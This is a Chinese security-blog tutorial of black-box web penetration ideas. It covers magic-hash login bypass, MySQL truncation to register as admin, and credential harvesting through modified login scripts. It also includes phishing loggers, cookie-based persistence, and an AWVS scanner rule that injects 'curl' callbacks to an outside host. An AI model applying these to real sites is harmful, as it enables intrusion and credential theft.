當前位置:
首頁 > 新聞 > Web黑盒滲透思路之猜想

Web黑盒滲透思路之猜想

*本文原創作者:心東,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


場景:WEB後台爆破


後台爆破很多人都會選擇最經典的模式,如字典爆破,挖掘未授權訪問漏洞,挖掘驗證碼漏洞(未刷新,驗證碼識別)等方法。


猜想:


1、後台程序是採用MD5加密的方式,並且驗證密碼跟被驗證密碼都是從PHP的MD5加密處理的 (PHP5~7存在此BUG),例如:



原理:


程序在處理哈希字元串時,會利用」不等於 或 等於 來對哈希值進行比較,它把每一個以 0E 開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以0E開頭的,那麼PHP就會認為他們相等。那麼在爆破的時候 字典加入一個MD5加密之後以0e開頭的明文密碼即可。


2、前台有註冊,是否跟後台用的是同一個SESSION文件,例如:



這個SESSION 我們可以假設。程序員在開發中 註冊一個會員那麼就會添加一條數據到資料庫里。 登錄驗證成功後會寫入一個session,那麼後台驗證中判斷session他可能是這樣寫的。

 if($_SESSION["user"]){        return True;    }

這個設計缺陷 可以假設 他的session跟前台用戶的session用的是同一個。從而導致一個未授權訪問。(前台登錄之後訪問後台) 當然也可以說成是越權。因為我們從一 個註冊會員登錄寫入了session 從而導致有訪問後台的許可權 PS:具體情況得看代碼怎麼寫。

以上方法 我們可以幻想很多很多種漏洞。列如這個



我們又可以這樣猜想:system的鍵名是用來判斷許可權。1則為管理員 0則為普通用戶 在前台有個註冊功能,那麼我們又聯想到了一個MYSQL的一個溢出漏洞my.ini。

sql-mode=」NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION」

比如一個表的結構是這樣的:

create table admin(username varchar(10) not null,passwd varchar(10) not null);

可以看到username跟passwd的位元組為10,但是my.ini設置成

sql-mode=」NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION」

的話,就算超出也會添加成功,比如:

insert into admin values(『1234567891         2』,"123456");

他不會插入「1234567891 2 」而是插 」1234567891「 因為指針到1的時候位元組就等於10了。因此我們註冊會員的時候,admin、空格、空格、空格、空格、空格、XX,然後這樣就會註冊到了admin。


切回話題,我們又可以很離譜的這樣猜想。前台註冊用戶用的資料庫跟後台是同一個數據表欄位。那麼我們可以從前台註冊然後登錄後台。(這種我還是碰到過的)


當然思路還是有很多很多的,得看你去怎麼去猜想他的代碼了


場景:WEB掃描器忽略的功能

掃描器相信大家都是用過的,比如一些知名的掃描器:BURP、AppScan 等,但是掃描器也有不夠人性化的時候,例如爬蟲掃描。


這樣我們就以掃描為主題:



1、表單破解,有驗證碼


2、掃描values型SQL注入


3、存儲XSS誤報多


4、被隱藏的某種存在高危漏洞的功能(列如 存在命令執行 沒有任何響應的情況下 掃描器判斷不出來)



在這裡公布一個自寫AWVS的掃描規則庫(掃描命令執行無響應):


規則庫目錄說明:(放到規定目錄即可)


文件名:cmd.script


解釋:掃描過程中 每個參數都會添加


例如: | curl http://xx.cc/ 然後發送請求 i_url 變數是當前掃描的YRL

var targetUrl = new TURL(scanURL.url);// 獲取當前的方案 也就是獲取爬蟲到的當前請求var scheme = getCurrentScheme();// 創建一個HTTP的工作(要求)var http = new THTTPJob();// 在新創建的作業中填充計劃 將當前請求添加到HTTPscheme.populateRequest(http);http_top = http.request; //獲取HTTP請求頭//http_top.msg2 獲取文件+參數hmsg2 = http_top.msg2.replace(/&/g, "-")i_url = scanURL.hostPort+"/"+hmsg2;// 一個方案可以有多個輸入for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    var variations = scheme.selectVariationsForInput(i);    for (var j=0; j < variations.count; j++)    {            // 負荷的變化            scheme.loadVariation(variations.item(j));            // 設置我們的有效載荷的輸入值 <XSS>            scheme.setInputValue(i, unescape("curl http://xx.cc/xd.php?i="+i_url));            // 創建一個HTTP的工作(要求)            var job = new THTTPJob();            // 設置工作targeturl URL            job.url = targetUrl;            // 在新創建的作業中填充計劃            scheme.populateRequest(job);            // 執行HTTP工作            job.execute();    }}// 一個方案可以有多個輸入for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    var variations = scheme.selectVariationsForInput(i);    for (var j=0; j < variations.count; j++)    {            // 負荷的變化            scheme.loadVariation(variations.item(j));            // 設置我們的有效載荷的輸入值 <XSS>            scheme.setInputValue(i, unescape("| curl http://xx.cc/xd.php?i="+i_url));            // 創建一個HTTP的工作(要求)            var job = new THTTPJob();            // 設置工作targeturl URL            job.url = targetUrl;            // 在新創建的作業中填充計劃            scheme.populateRequest(job);            // 執行HTTP工作            job.execute();    }}// 一個方案可以有多個輸入for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    var variations = scheme.selectVariationsForInput(i);    for (var j=0; j < variations.count; j++)    {            // 負荷的變化            scheme.loadVariation(variations.item(j));            // 設置我們的有效載荷的輸入值 <XSS>            scheme.setInputValue(i, unescape("| curl http://xx.cc/xd.php?i="+i_url+"%23"));            // 創建一個HTTP的工作(要求)            var job = new THTTPJob();            // 設置工作targeturl URL            job.url = targetUrl;            // 在新創建的作業中填充計劃            scheme.populateRequest(job);            // 執行HTTP工作            job.execute();    }}// 一個方案可以有多個輸入for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    var variations = scheme.selectVariationsForInput(i);    for (var j=0; j < variations.count; j++)    {            // 負荷的變化            scheme.loadVariation(variations.item(j));            // 設置我們的有效載荷的輸入值 <XSS>            scheme.setInputValue(i, unescape(" | curl http://xx.cc/xd.php?i="+i_url+")%23"));            // 創建一個HTTP的工作(要求)            var job = new THTTPJob();            // 設置工作targeturl URL            job.url = targetUrl;            // 在新創建的作業中填充計劃            scheme.populateRequest(job);            // 執行HTTP工作            job.execute();    }}// 一個方案可以有多個輸入for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    var variations = scheme.selectVariationsForInput(i);    for (var j=0; j < variations.count; j++)    {            // 負荷的變化            scheme.loadVariation(variations.item(j));            // 設置我們的有效載荷的輸入值 <XSS>            scheme.setInputValue(i, unescape(" | curl http://xx.cc/xd.php?i="+i_url+"))%23"));            // 創建一個HTTP的工作(要求)            var job = new THTTPJob();            // 設置工作targeturl URL            job.url = targetUrl;            // 在新創建的作業中填充計劃            scheme.populateRequest(job);            // 執行HTTP工作            job.execute();    }}接受請求的PHP代碼:文件名:xd.php<?php   $ip = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";if($ip){$i = empty($_GET["i"])? "" : $_GET["i"];$txt = htmlspecialchars($ip."-----".$i."
");$na = fopen("xd.txt", "a+");$xie = fwrite($na, $txt);}?>  文件名: cmd_inspect.script解釋:掃描器掃完後 發送一個HTTP請求 判斷是否這個域名是否存在命令執行漏洞// scanurl.url返回URL字元串var targetUrl = new TURL("http://xx.cc/xd.txt");var http = new THTTPJob();http.url = targetUrl;http.verb = "GET";// 執行請求http.execute();var dzRes = http.response.body; //獲取HTTP響應內容if(dzRes.indexOf(scanURL.hostPort) != -1){            logInfo("message:----> yuanchengminglingzhixing!!");//掃描日誌輸出信息    var ri = new TReportItem();//新建報告結果 返回掃描器界面    ri.LoadFromFile("cmd.xml"); //載入模板    ri.affects = "http://xx.cc/xd.txt";    ri.request = http.request.toString(); //將HTTP請求頭輸出到掃描器    ri.response = http.response.body; //將HTTP響應的內容輸出到掃描器    ri.fullResponse = http.response.body; //將HTTP響應的內容輸出到掃描器    // 添加警報    AddReportItem(ri);//確定輸出}

回歸話題,我們猜想到許許多多掃描器忽視的功能


例如:爬蟲爬不到的地方,values型SQL注入,存在XSS,當然不是高危漏洞我們就不必挖掘,因為我們目的是以入侵為主,像某些邏輯漏洞我們可以無視。


場景:拿到webshell 數據密碼加密的情況下獲得明文密碼


我們拿到webshell之後想拿到資料庫的明文密碼,我們一開始的思維肯定在想:逆推,撞庫,還有就是嗅探 等方法。


嗅探方法:流量大,易被防火牆報警。


逆推方法:耗腦。

撞庫方法:走很多個步驟。(收集數據)


其實我們可以換個角度去想的,居然我們都拿到webshell了,還不如修改 WEB程序,例如驗證用戶密碼是否對錯,如果登錄成功,那麼就記錄他的。


例如這個。


那麼問題來了,沒許可權修改怎麼辦?你可能會想到提權。。。


其實我們把目光指向到HTML。。。列如



我們可以看到有後台登錄頁面有包含JS的地方,那麼我們可以去修改JS,利用ajax方法來獲取html 的input的值來發送到我們伺服器上,但是也可以不用ajax方法。


你也可以用這種方法。


比如:比如點擊提交按鈕被觸發後 我們可以獲取input的值 然後 


當然如果JS文件還沒許可權修改的話 你可以提權。。又或者你有跟他同一個區域網的機器,進行中間人劫持。如果他是HTTPS的話 你可以往裡面注入個JS。

場景:收集信息無從下手


收集信息我個人覺得這個要個人的實戰經驗,以及思考能力。我個人的實戰經驗雖不算多,不過在這裡我還是說下某些信息被我們忽視掉的信息。


第一種:


列如某站:www.aa.com (未做CDN)


很多人都會走以下流程:收集子域,註冊人信息以及註冊過的域名 關聯域名 等等。


同時也有人忽視掉了一點,那就是域名解析歷史IP,我們可以這樣猜想 域名沒換,但是伺服器搬了很多次。



當前某域名解析的IP是69.。那麼我們可以大膽的假設,103開頭的IP是以前的伺服器,域名現在解析換成了69開頭的,但是103開頭的伺服器網站服務還是開的,數據也沒清理。。。我們把網站解析到103開頭的IP,這也是一種收集信息的技巧。。。


第二種:


查找跟目標同一個內網 關聯的域名,(C段 根據網站內容判斷是否跟目標同一個內網,子域,或者有著關聯的部門,又或者有著直接關聯的,再或者從百科了解信息查找可疑跟目標同一個內網的站。。還有很多種方法)

場景:滲透攻擊之釣魚


相信魚叉攻擊法大家都是用過的,如果只是針對一個單用戶釣魚的話 我們可以利用某種輔助功能來收集信息為我們入侵鋪上更好的環境。


比如:一個MVC思想的站中。收集信息(找目標源碼 什麼都沒有 包括郵箱信息),以及 任何 任何 任何的入侵方式都無效並且我們感到無能為力的情況下。 但是有個提交留言板(毫無漏洞)。


我們可以這樣想。插入一個URL,比如:http://www.a.com/1.php


1、php 代碼如下:

<?phpheader("Content-type: text/html; charset=gb2312");include "./1.html";$http = $_SERVER["HTTP_USER_AGENT"]? $_SERVER["HTTP_USER_AGENT"] : "";$ip = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";$txt = htmlspecialchars($ip."-----".$http."
");$na = fopen("xd2.txt", "a+");$xie = fwrite($na, $txt);?>

2、HTML 是釣魚內容


代碼中記錄到了瀏覽器頭,我們從瀏覽器頭可以判斷目標是用了windows系統還是linux系統,列如MAC 系統 我們可以準備MAC 木馬。。


我們又記錄到了他的IP。我們又可以去想像 記錄中的 IP是可以代理IP,公網,我們可以從他的代理IP下手,又或者C段 進行中間人攻擊。。。


場景:找後台(重定向攻擊法)


相信大家都有碰到過這種情況。找目標管理後台,找郵件登錄的WEB域名等。。。


一開始大家的思路都是:掃描全網。靠搜索引擎 等其他非常經典的方法。


但是在某種條件下我們可以利用WEB語言或瀏覽器腳本語言進行輔助型攻擊。


比如網站前台有提交信息給後台,我們可以利用存儲XSS進行攻擊從而獲取到後台地址 這也是一種方法。


但是問題來了 提交了之後後台沒有觸發到JS怎麼辦?


我們可以把思路放到A標籤。A標籤就是重點。列如這種 我們想查找他的郵件的登錄域名。



記錄到的HTTP_REFERER 寫入文件即可。




點擊之後。




此方法也並不是百分百成功,在某種條件下才能利用。


第二種方法:


我們可以猜想目標站就只是個負責輸出數據給用戶看而已,而真真正正的後台是另外一個域名管理目標站,並且需要綁定HOST文件才可以。


自寫小工具:https://github.com/xindongzhuaizhuai/host_ip/


我們的思路可以這樣想:掃全網(不建議),查找可疑IP(C段 歷史IPC段 註冊過的域名C段 等方法)


場景:查找真實IP


這個找真實IP似乎是每個安全工程師都會經歷過的事情 無非就是 掃文件 找歷史IP 郵寄發送 DDOS 掃全網。等方法


其他方法都還可以 但是我個人覺得掃全網 似乎就是開著坦克打飛機。至於為什麼這樣說 我得解釋一下:


我們就拿zmap來說吧 掃描速度很好 非常強大,但是往往越強大的工具就越有缺點。


原因:zmap 流量識別太簡單,他速度快的原因是因為tcp會話要3次握手才能建立,而zmap直接第一次握手就把請求斷掉了。於是大多數VPS一掃就封。。。


回歸話題 其實找真實IP 不妨我們試試挖掘SSRF XEE這類的漏洞 文件包含等(只要能控制目標能發送請求即可)



PS:如果挖到這種漏洞的 你可以嘗試利用expect等方式執行命令getshell了。


場景:被忽略掉的隱藏功能


不知道大家有沒有碰到過這種功能 後台登錄有記錄非法操作 例如 登錄後台錯誤5次 就被記錄到資料庫 然後管理界面UI輸出說 此IP 登錄用戶名ADMIN 錯誤。。


我們可以這樣猜想:獲取IP 有漏洞 可以偽造。


我們在滲透中 有幾種請求務必要修改的。那就是瀏覽器頭


以及 :



X-FORWARDED-FOR


Proxy-Client-IP


WL-Proxy-Client-IP


HTTP_CLIENT_IP


X-Forwarded-For


這裡公布一個火狐瀏覽器(中國版)存在IP偽造漏洞。



你可以往這裡插入XSS,當然你也可以修改其他IP來繞過後台(有些後台登錄需要IP白名單驗證)




場景:後台拿不了shell卻又想留後門


有很多白帽子都有挖過未授權訪問。我看過很多的中國黑客入侵文章 從未發現過文章中有 未授權操作這一類的入侵網站。


我記得14年在廣州培訓PHP的時候。老師要求 每個小組 寫一個網站程序出來,答辯結束後,源碼就會被共享出來,我從20套源碼(MVC思想)開始代碼審計的時候 發現超過10套源碼都有未授權操作這個漏洞。


也在工作實戰中也碰到很多這種漏洞。。不知道是程序員太新手,還是太大意,漏洞是這樣的:訪問後台功能的時候做了限制(未授權不能訪問),但是在其他類上卻沒做任何限制 列如 添加數據。


我們跳回話題:


在WEB管理後台拿webshell的時候 再無能為力的情況下,但是你又想長時間進入後台。


方法:1、有些站COOKIE也有永不過期的,你可以記錄他的COOKIE利用它來進行登錄。


方法:2、挖掘未授權操作。列如 嘗試 添加管理員 抓包 記錄 URL 以及參數 等。。。在未登錄的情況下進行添加。


總結:滲透的思路中,不僅僅靠技術 靠經驗 最重要的是腦子去往其他地方思考、以上我寫的我只是打個比喻。其實在很多場景中得自己學會去隨機應變。


流程:分析—>猜想—>實驗—>結果(運氣好 技術有創新)


*本文原創作者:心東,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

英特爾放出Linux微代碼以修復Meltdown和Spectre漏洞
看我如何利用兩個漏洞實現雅虎郵箱通訊錄信息獲取

TAG:FreeBuf |